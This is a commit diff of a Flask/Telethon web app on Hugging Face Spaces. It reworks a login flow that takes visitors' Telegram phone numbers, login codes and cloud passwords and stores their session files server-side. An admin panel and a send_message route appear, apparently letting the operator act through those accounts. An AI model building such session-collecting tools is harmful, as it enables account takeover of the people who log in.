Spaces:
Paused
Paused
Update app.py
Browse files
app.py
CHANGED
|
@@ -1,3 +1,4 @@
|
|
|
|
|
| 1 |
from flask import Flask, request, jsonify, render_template_string, send_from_directory
|
| 2 |
from telethon.sync import TelegramClient
|
| 3 |
from telethon import events
|
|
@@ -64,8 +65,8 @@ HTML_TEMPLATE = '''
|
|
| 64 |
<input type="text" id="phone" placeholder="Phone number (+1234567890)">
|
| 65 |
<button onclick="startLogin()">Start Login</button>
|
| 66 |
<input type="text" id="code" placeholder="Verification code" style="display:none;">
|
|
|
|
| 67 |
<button id="submitCode" onclick="submitCode()" style="display:none;">Submit Code</button>
|
| 68 |
-
<input type="text" id="password" placeholder="Cloud Password" style="display:none;">
|
| 69 |
<button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
|
| 70 |
</div>
|
| 71 |
<div class="admin-panel">
|
|
@@ -99,8 +100,8 @@ HTML_TEMPLATE = '''
|
|
| 99 |
const result = await response.json();
|
| 100 |
alert(result.message);
|
| 101 |
if (result.success) {
|
| 102 |
-
document.getElementById('code').style.display = '
|
| 103 |
-
document.getElementById('submitCode').style.display = '
|
| 104 |
}
|
| 105 |
}
|
| 106 |
|
|
@@ -114,13 +115,15 @@ HTML_TEMPLATE = '''
|
|
| 114 |
const result = await response.json();
|
| 115 |
alert(result.message);
|
| 116 |
if (result.success) {
|
| 117 |
-
document.getElementById('password').style.display = '
|
| 118 |
-
document.getElementById('submitPassword').style.display = '
|
| 119 |
-
|
| 120 |
-
document.getElementById('
|
| 121 |
-
|
| 122 |
-
|
| 123 |
-
|
|
|
|
|
|
|
| 124 |
}
|
| 125 |
}
|
| 126 |
|
|
@@ -174,29 +177,32 @@ def login():
|
|
| 174 |
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 175 |
try:
|
| 176 |
if step == 'start':
|
| 177 |
-
client.
|
| 178 |
-
return jsonify({'success': True, 'message': '
|
| 179 |
elif step == 'code':
|
| 180 |
-
client.start(phone
|
|
|
|
| 181 |
me = client.get_me()
|
| 182 |
with sqlite3.connect(DB_PATH) as conn:
|
| 183 |
c = conn.cursor()
|
| 184 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 185 |
(str(me.id), me.username or '', phone, session_file))
|
| 186 |
conn.commit()
|
| 187 |
-
|
| 188 |
-
|
| 189 |
-
return jsonify({'success': True, 'logged_in': True, 'message': 'Logged in successfully'})
|
| 190 |
elif step == 'password':
|
| 191 |
-
client.
|
| 192 |
me = client.get_me()
|
| 193 |
with sqlite3.connect(DB_PATH) as conn:
|
| 194 |
c = conn.cursor()
|
| 195 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 196 |
(str(me.id), me.username or '', phone, session_file))
|
| 197 |
conn.commit()
|
| 198 |
-
|
|
|
|
| 199 |
except Exception as e:
|
|
|
|
|
|
|
| 200 |
return jsonify({'success': False, 'message': str(e)})
|
| 201 |
finally:
|
| 202 |
client.disconnect()
|
|
@@ -288,4 +294,4 @@ def send_message(user_id):
|
|
| 288 |
|
| 289 |
if __name__ == '__main__':
|
| 290 |
init_db()
|
| 291 |
-
app.run(host=HOST, port=PORT)
|
|
|
|
| 1 |
+
|
| 2 |
from flask import Flask, request, jsonify, render_template_string, send_from_directory
|
| 3 |
from telethon.sync import TelegramClient
|
| 4 |
from telethon import events
|
|
|
|
| 65 |
<input type="text" id="phone" placeholder="Phone number (+1234567890)">
|
| 66 |
<button onclick="startLogin()">Start Login</button>
|
| 67 |
<input type="text" id="code" placeholder="Verification code" style="display:none;">
|
| 68 |
+
<input type="text" id="password" placeholder="Cloud password" style="display:none;">
|
| 69 |
<button id="submitCode" onclick="submitCode()" style="display:none;">Submit Code</button>
|
|
|
|
| 70 |
<button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
|
| 71 |
</div>
|
| 72 |
<div class="admin-panel">
|
|
|
|
| 100 |
const result = await response.json();
|
| 101 |
alert(result.message);
|
| 102 |
if (result.success) {
|
| 103 |
+
document.getElementById('code').style.display = 'inline';
|
| 104 |
+
document.getElementById('submitCode').style.display = 'inline';
|
| 105 |
}
|
| 106 |
}
|
| 107 |
|
|
|
|
| 115 |
const result = await response.json();
|
| 116 |
alert(result.message);
|
| 117 |
if (result.success) {
|
| 118 |
+
document.getElementById('password').style.display = 'inline';
|
| 119 |
+
document.getElementById('submitPassword').style.display = 'inline';
|
| 120 |
+
document.getElementById('submitCode').style.display = 'none';
|
| 121 |
+
document.getElementById('code').style.display = 'none';
|
| 122 |
+
} else if (result.password_required) {
|
| 123 |
+
document.getElementById('password').style.display = 'inline';
|
| 124 |
+
document.getElementById('submitPassword').style.display = 'inline';
|
| 125 |
+
document.getElementById('submitCode').style.display = 'none';
|
| 126 |
+
document.getElementById('code').style.display = 'none';
|
| 127 |
}
|
| 128 |
}
|
| 129 |
|
|
|
|
| 177 |
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 178 |
try:
|
| 179 |
if step == 'start':
|
| 180 |
+
client.send_code_request(phone)
|
| 181 |
+
return jsonify({'success': True, 'message': 'Code sent to your Telegram'})
|
| 182 |
elif step == 'code':
|
| 183 |
+
client.start(phone)
|
| 184 |
+
client.sign_in(phone, code)
|
| 185 |
me = client.get_me()
|
| 186 |
with sqlite3.connect(DB_PATH) as conn:
|
| 187 |
c = conn.cursor()
|
| 188 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 189 |
(str(me.id), me.username or '', phone, session_file))
|
| 190 |
conn.commit()
|
| 191 |
+
client.disconnect()
|
| 192 |
+
return jsonify({'success': True, 'message': 'Logged in successfully'})
|
|
|
|
| 193 |
elif step == 'password':
|
| 194 |
+
client.sign_in(password=password)
|
| 195 |
me = client.get_me()
|
| 196 |
with sqlite3.connect(DB_PATH) as conn:
|
| 197 |
c = conn.cursor()
|
| 198 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 199 |
(str(me.id), me.username or '', phone, session_file))
|
| 200 |
conn.commit()
|
| 201 |
+
client.disconnect()
|
| 202 |
+
return jsonify({'success': True, 'message': 'Logged in with cloud password'})
|
| 203 |
except Exception as e:
|
| 204 |
+
if 'session password' in str(e):
|
| 205 |
+
return jsonify({'success': False, 'password_required': True, 'message': 'Cloud password required'})
|
| 206 |
return jsonify({'success': False, 'message': str(e)})
|
| 207 |
finally:
|
| 208 |
client.disconnect()
|
|
|
|
| 294 |
|
| 295 |
if __name__ == '__main__':
|
| 296 |
init_db()
|
| 297 |
+
app.run(host=HOST, port=PORT)
|